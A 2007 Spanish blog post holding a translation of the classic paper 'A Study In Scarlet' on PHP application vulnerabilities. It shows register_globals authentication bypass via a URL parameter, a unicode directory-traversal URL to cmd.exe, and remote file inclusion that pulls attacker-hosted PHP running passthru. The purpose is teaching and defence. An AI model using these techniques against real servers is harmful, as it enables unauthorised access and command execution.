Un blog mas de seguridad informatica

lunes, marzo 05, 2007

Vulnerabilidades comunes en aplicaciones escritas en PHP

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

A Study In Scarlet
Vulnerabilidades comunes en aplicaciones escritas en PHP

Shaun Clowes
SecureReality

<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
Traducido al español por Di Biase Jos‚ Luis - josx@interorganic.com
<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<<->>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>

--- < Contenido > --------------------------------------------------

1. Introducci¢n
2. Caveats y Alcance
3. Variables Globales
4. Archivos Remotos
5. Upload de Archivo
6. Librer¡as
7. Sesiones
8. Array asociativos y otros
9. Funciones que hay que utilizar con cuidado
10. Protegi‚ndose
11. Responsabilidad - Lenaguaje vs Programador
12. Otros

"I could imagine his giving a friend a little pinch of the latest vegetable
alkaloid, not out of malevolence, you understand, but simply out of a spirit
of inquiry in order to have an accurate idea of the effects." - Stamford

--- < 1. Introducci¢n > ----------------------------------------------------

Este investigaci¢n fue basada en la charla realizada durante BlackHat briefings
en Singapur y Hong Kong en abril del a¤o 2001. Esta charla fue titulada
"Breaking In Through the Front Door - The impact of Web Applications and
Application Service Provision on Traditional Security Models". Aqu¡ se invirti¢
un gran tiempo comentando acerca de PHP. Para lo que no sepan que es PHP, PHP
significa "PHP Hipertext Preprocessor". Es un lenguaje de programaci¢n (
dise¤ado especificamente para Internet ) en el cual PHP se embebe en las paginas
web. Cuando un Cliente hace un pedido a una pagina, el servidor web primero pasa
la pagina a un interprete de lenguaje que ejecuta el codigo, luego la pagina
resultado es enviada al cliente.

Obviamente esta aproximaci¢n esta mas relacionada con la naturaleza del paso de
una pagina a otra de una aplicaci¢n web que de un lenguaje CGI como C y Perl.
PHP ( y otros lenguaje para internet ) tienen la siguientes caracteristicas:
+ Interpretados
+ Ejecuci¢n R pida - El interprete esta dentro del servidor web, no fork() o
setup overhead.
+ Muchas Utilidades - Cientos de funciones no triviales incluidas.
+ Sintaxis simple - no se declaran variables y variable poco tipeadas.

Durante el transcurso de este escrito voy a tratar de explicar porque yo siento
estas ultimas dos caracteristicas las que hacen a las aplicaciones escritas en
PHP f cil de atacar y dificil para defender. Despu‚s voy a terminar con un
planteo acerca de la distribucion de culpas cuando se habla de seguridad del
software.

"You must study him, then ... you'll find him a knotty problem, though. I'll
wager he learns more about you than you about him." - Stamford

--- < 2. Caveats y Alcance > -----------------------------------------------

Casi todas la observaciones de este escrito se refieren a una instalaci¢n de PHP
4.0.4pl1 por default ( con soprte para Mysql, PostgreSQL, IMAP and OpenSSL )
corriendo bajo APACHE 1.3.19 en Linux. Esto quiere decir que el nivel lo que
ocurre puede variar particularmente, ya que muchas veces el comportamiento de
para la misma entrada es diferente en distintas versiones.

Adem s, los que apoyan PHP tienden a defender el lenguaje basandose en que es
totalmente configurable. Yo creo que la gran mayor¡a de usuarios no modifican la
configuraci¢n por default. Por esto no siento presi¢n en defender mi posici¢n
basada en las opciones de configuraci¢n, ademas inclui una secci¢n sobre como
defender las aplicaciones PHP usando esas configuraciones.

Algunas personas creen que esta clase de trabajo es Trivial o Obvio
particularmente desde el punto de vista que yo no discuto acerca de
vulnerabilidades especificas. Para probar que estos riesgos son reales y que
hasta los programadores que tratan caen en estos 4 detallados advisories.

"I have to be careful ... for I dabble with poisons a good deal." - Sherlock
Holmes

--- < 3. Variables Globales > ------------------------------------------------

Como mencionamos anteriormente, las variables en PHP no se declaran, son
automaticamente creadas la primera vez que se usan. Se les pone el tipo
automaticamente basada en contexto que son usadas. Esto es una forma muy
conveniente de hacer las cosas desde la perspectiva del programador ( y
obviamente es un herramienta escencial en un lenguaje de desarrllo de
aplicaciones rapido ). Una vez creadas las variables pueden ser referenciadas
desde cualquier parte del programa ( excepto en funciones donde debe ser
explicitamente incluida con el 'global' (funci¢n). El resultado de estas
caracter¡sticas es que las variables son casi nunca inicializadas por el
programador, despu‚s de todo, cuando son creadas est n vac¡as ( ej. "").

Obviamente el Main de una aplicaci¢n web basadas en PHP toma alguna entrada del
cliente ( variables de formulario, upload de archivos, cookiw etc),
Procesa la entrada y devuelve una salida basada en esa entrada. Para hacerlo lo
mas simple posible la entrada casi siempre es proveida en la forma de variables
globales. Como en este codigo html:

----



-----------------------------------

Esto mostrar un text box y un boton de submit. Cuando el usuario aprieta el
bot¢n de submit el script de PHP test.php se ejecuta para procesar la entrada.
Cuando se ejecuta la variable $hello contendr el texto que el usuario puso en
el text box. Es importante darse cuenta las implicaciones de esto £ltimo, esto
quiere decir que un atacante desde remoto puede crear cualquier variable que
desee y tenerla declarada como global. Si encambio de usar el form anterior para
llamar a test.php, el atacante llama directamente a la url como
"http://server/test.php?hello=hi&setup=no", no solo ser $hello="hi" cuando el
script se ejecute sino que $setup ser "no" tambi‚n.

Un ejemplo dde como esto puede ser realmente un problema real es en un script
que fue dise¤ado para autentificar a usuarios antes de mostrarlo informaci¢n
importante. Por ejemplo:

if ($pass == "hello")
$auth = 1;
...
if ($auth == 1)
echo "some important information";
?>

En una operaci¢n normal el c¢digo se fijar el password para decidir si el
usuario debe ser autentificado. Despu‚s se fija si ya fue autentificado y
muestra un informaci¢n importante. El problema radica en que el c¢digo
incorrectamente asume que la variable $auth estar vac¡a a menos que se llene
desde ah¡. Recordando que un atacante puede crear variables como globales, una
url como 'http://server/test.php?auth=1' haria que falle la autentificaci¢n del
password pero igualmente el script crea que estoy autentificado.

Para redondear lo anterior, un script PHP no puede confiar en ninguna variable
si no fue expl¡citamente asignada. Cuando uno tiene un gran numero de variables,
esto puede ser una tarea muy ardua.

Una aproximaci¢n para proteger un script es fijarse que variables no est n en el
array HTTP_GET/POST_VARS[] (dependiendo del m‚todo que se use para enviar el
formulario GET o POST ). Cuando se configura PHP con track_vars enabled ( como
lo es como default ) las variables enviadas por el usuarios estan disponibles en
dos lugares, como variables globales y tambi‚n como elementos de un array que
mencionamos anteriormenet. Igualmente, es importante darse cuenta de que hay
cuatro arrays diferentes para la entrada del usuario, HTTP_GET_VARS para las
variables enviadas en la URL de la pericion GET, HTTP_POST_VARS para las
variables enviadas de manera POST, HTTP_COOKIW_VARS para las variables enviadas
como parte del header de cookies y de una manera limitada el HTTP_POST_FILES (
en las versiones mas recientes de PHP ).
Un script seguro tiene que fijarse en los 4 arrays.


"No man burdens his mind with small matters unless he has some very good
reason for doing so." - John Watson

--- < 4. Archivos Remotos > ----------------------------------------------------

Voy a repetir esto con frecuencia durante este escrito, PHP es un lenguaje muy
rico, viene con una gran cantidad de funcionalidades y trata de hacerle la vida
f cil al programador para programar ( o dise¤ador web como a veces es ).
Desde la perspectiva de la seguridad, cuanto mas funcionalidad superflua ofrece
un lenguaje y menos intutitivas las posibilidades, se hace m s dificultoso
escribir aplicaciones seguras. Un exelente ejemplo de esto es la funcionalidad
de Archivos Remotos de PHP.

El codigo siguiente de PHP se utiliza para abrir un archivo:

if (!($fd = fopen("$filename", "r"))
echo("Could not open file: $filename
\n");
?>

El c¢digo abre un archivo especificado en la variable $filename para leerlo. Si
falla muestra un mensaje de error. Obviamente esto puede llegar a ser un
problema de seguridad si el usuario puede poner lo que quiera en $filename y por
ejemplo mostrar /etc/passwd, pero de otra forma poco intuitiva se puede leer
datos de otro sitio web/ftp. La funcionalidad de archivos remotos sirve
justamente para que con casi cualquier funci¢n de manejo de archivos de PHP
puede manejar transparentemente archivos remotos por HTTP and FTP. Si $filename
tendria:
(por ejemplo)
http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir PHP har¡a una
petici¢n HTTP al server "destino", en este caso tratando de explotar la falla
unicode.

Esto es mas interesante con relaci¢n a otras 4 funciones que tiene incluida la
funcionalidad de archivos remotos (*** excepto en Window ***), include(),
require(), include_once() y require_once(). Estas funciones toman un archivo lo
leen, y lo parsean como c¢digo php. Son usadas la mayor¡a de las veces para
usar librer¡as (o bibliotecas), donde hay c¢digo php y se la incluye cuando se
la necesita.
Ahora mira el siguiente c¢digo:

include($libdir . "/languages.php");
?>

Aparentemente $libdir es una variable de configuraci¢n que ya hemos asignado
anteriormente en el c¢digo, que contiene el directorio en donde est n los
archivos de las librer¡as. Si el atacante puede hacer que la variable no la
asigne el script (lo que es una tarea no tan dificultosa) y en vez de hacer
submit puede modificar en comienzo del path. Esto no sirve para nada por que
solo tienen acceso a el archivo languages.php en el directorio que ellos elijan
( ataques del tipo poison null como en perl no funcionan con PHP) pero si pueden
grabar un archivo llamado languages.php en cualquier directorio conteniendo por
ejemplo:

passthru("/bin/ls /etc");
?>

despu‚s asignan $libdir a http:/// cuando php encuentra la sentencia
include php hace la petici¢n HTTP al evilhost, extrae el c¢digo del atacante y
lo ejecuta, d ndonos de esa manera un listado del /etc en el browser. Te t‚nes
que dar cuenta que el cliente quiz s no este ni corriendo php por que se ejecuta
el servidor remoto.



"There are no crimes and no criminals in these days" - Sherlock Holmes

Etiquetas: , ,